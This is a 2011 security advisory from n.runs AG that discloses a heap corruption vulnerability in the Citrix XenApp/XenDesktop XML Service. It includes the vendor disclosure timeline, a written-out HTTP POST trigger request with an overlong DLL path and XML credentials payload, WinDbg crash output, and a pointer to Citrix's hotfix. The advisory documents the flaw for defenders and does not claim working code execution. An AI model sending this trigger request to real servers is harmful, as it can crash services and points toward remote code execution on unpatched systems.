Citrix XenApp / XenDesktop XML Service Heap Corruption

n.runs AG
http://www.nruns.com/                                 security(at)nruns.com
n.runs-SA-2011.002
28-Jul-2011
___________________________________________________________________________
Vendor:         Citrix, http://www.citrix.com
Affected Products:      XenApp and XenDesktop
Affected Version:       See the Citrix security bulletin [2] for a list
Vulnerability:          Heap Corruption in Citrix XML Service
Risk:                   HIGH
___________________________________________________________________________

Vendor communication:

2011/04/26 Initial notification and request for PGP key
2011/04/26 Received PGP key. Sent detailed vulnerability description
2011/04/27 Confirmed receival / request for more version/patch information
2011/05/31 Received request for exploit code for reproduction
2011/06/02 n.runs provides Citrix with PoC exploit code
2011/07/12 n.runs requests status update
2011/07/15 Confirmation that issue was identified and patches are scheduled
2011/07/27 Citrix publishes bulletin and hotfix

___________________________________________________________________________

Overview:

A heap corruption vulnerability has been found in the Citrix XML Service of
XenApp and XenDesktop which is installed on every server used for sharing
applications. Successful exploitation allows arbitrary code execution on the
server running the XML service.

Successful exploitation may allow arbitrary code execution on the server
running the XML service. The issue can be triggered with network access to
the system running the XML service.

Description:

The Citrix XML Service (ctxxmls.exe) is installed on every server used for
sharing applications. This windows service listens by default on port 80 and
can receive HTTP requests. Using HTTP POST requests with a URL starting with
the path /scripts/ it is possible to send messages to so called "HTTP
Extension DLLs" which consist of XML markup.

By sending a POST request to a really long non-existent extension DLL some
form of heap corruption can be triggered. A request of the following format
was sent:

POST /scripts/AAAAAAAAAA[...]AAAAAAAAA.dll HTTP/1.1
Content-Type: text/xml
Host: localhost:80
Content-Length: 1234
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">
<NFuseProtocol version="5.1">
<RequestValidateCredentials>
<Credentials>
<UserName>nruns</UserName>
<Password encoding="ctx1">MLBMMMAHNB</Password>
<Domain type="NT">TEST</Domain>
</Credentials>
</RequestValidateCredentials>
</NFuseProtocol

Around 122.222 'A' characters were sent in our tests which triggered the
heap corruption. But repeated tests showed that the observed behavior could
not be triggered reliably and sometimes needed multiple tries until a crash
was encountered.

The following Windbg output shows the observed crash of the XML service:

(b68.1020): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=009bfdac ecx=009bfd00 edx=00000000 esi=43434342
edi=00000000
eip=7c82ae6e esp=009bfd60 ebp=009bfd90 iopl=0         nv up ei pl zr na pe
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010246
ntdll!RtlImageNtHeaderEx+0x64:
7c82ae6e 66813e4d5a      cmp     word ptr [esi],5A4Dh
ds:0023:43434342=????
*** ERROR: Module load completed but symbols could not be loaded for
ctxxmlss.exe
0:001> kb
ChildEBP RetAddr  Args to Child             
009bfd90 7c82aeec 00000001 43434342 00000000 ntdll!RtlImageNtHeaderEx+0x64
009bfdb0 77e703ba 43434342 00000000 00c00048 ntdll!RtlImageNtHeader+0x1b
009bfdc4 00402eda 43434343 00000001 00324628 kernel32!FreeLibrary+0x1b
WARNING: Stack unwind information not available. Following frames may be
wrong.
009bfee4 004033a4 0032463a 0001dd77 00000015 ctxxmlss+0x2eda
009bff10 004027e4 00c3806e 009bff38 00324628 ctxxmlss+0x33a4
009bff30 00402a88 ffffffff 00324a48 009bff60 ctxxmlss+0x27e4
009bff40 00403a9a 00012cbd 00324628 00000002 ctxxmlss+0x2a88
009bff60 00403be7 00324a48 00000000 00324918 ctxxmlss+0x3a9a
009bff78 00403c2f 00322580 009bffb8 7c349565 ctxxmlss+0x3be7
009bff84 7c349565 00322580 00000000 00000000 ctxxmlss+0x3c2f
009bffb8 77e6482f 00324880 00000000 00000000 MSVCR71!_threadstartex+0x6f
[f:\vs70builds\3052\vc\crtbld\crt\src\threadex.c @ 241]
009bffec 00000000 7c3494f6 00324880 00000000 kernel32!BaseThreadStart+0x34

Impact:

The exploitability of this issue was not verified but it is to be expected
that it can be exploited reliably with more time investments which would
then lead to arbitrary remote code execution.

Solution:

Citrix issued a hotfix for this issue which can be found at [2].

___________________________________________________________________________

Credit:
Bug found by Alexios Fakos and Moritz Jodeit of n.runs AG.
___________________________________________________________________________

References:
[1] http://www.citrix.com/
[2] http://support.citrix.com/article/CTX129430

This Advisory and Upcoming Advisories:
http://www.nruns.com/security_advisory.php